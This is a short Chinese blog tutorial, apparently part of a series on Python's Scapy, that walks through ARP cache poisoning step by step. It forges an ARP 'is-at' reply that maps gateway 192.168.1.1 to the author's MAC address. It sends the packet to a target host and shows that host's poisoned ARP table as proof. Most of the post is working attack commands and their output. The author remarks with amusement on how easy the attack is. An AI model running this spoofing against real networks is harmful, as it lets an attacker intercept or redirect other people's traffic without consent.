Python中的Scapy初探之三-ARP中毒

这个工具太强大,搞一个ARP缓存中毒竟然这么简单,关于ARP缓存中毒,可以百度。通过ARP缓存中毒,可以将目标计算机的IP地址与MAC地址对应关系替换成另外一台机器的MAC地址,这样,在链路层中,就会将发送到某个IP的数据发送到指定的机器上,例如,发送到192.168.1.1的数据,在ARP缓存中,找到192.168.1.1对应的MAC地址,然后通过链路层,将数据包传送到对应的机器上,如果将MAC替换成别的机器的MAC地址,那么数据也会传到那台机器上。而在Scapy中,这样替换非常简单。这样做太easy了

>>> p=ARP()
>>> p.show()
###[ ARP ]###
  hwtype= 0x1
  ptype= 0x800
  hwlen= 6
  plen= 4
  op= who-has
  hwsrc= 00:0c:29:3e:0f:da
  psrc= 192.168.1.104
  hwdst= 00:00:00:00:00:00
  pdst= 0.0.0.0

设置op=2,就是告知is-at

将hwsrc设置成数据的接收机的MAC地址,将psrc改成要替换的IP地址,pdst设置成要毒化的目标机器IP地址

例如,要毒化192.168.1.103上的ARP缓存,将网关192.168.1.1的对应关系改成192.168.1.104的MAC地址,就可以这么设置

p.psrc=’192.168.1.1’

p.pdst=’192.168.1.103’

>>> p.show()
###[ ARP ]###
  hwtype= 0x1
  ptype= 0x800
  hwlen= 6
  plen= 4
  op= is-at
  hwsrc= 00:0c:29:3e:0f:da
  psrc= 192.168.1.1
  hwdst= 00:00:00:00:00:00
  pdst= 192.168.1.103

然后发送

>>> send(p)

等待一会后,在192.168.1.103这台机器上看ARP缓存

[root@ipython ~]# arp
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.1.100            ether   00:22:15:ca:59:2e   C                     eth0
192.168.1.104            ether   00:0c:29:3e:0f:da   C                     eth0
192.168.1.1              ether   00:0c:29:3e:0f:da   C                     eth0
发现已经被毒化了,特么的,造孽啊

Scapy创造了一个ARP数据包,将这个包设置为告知状态,然后设置好伪装的MAC地址与IP地址,发送给目标机器,这简直也太简单了吧

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值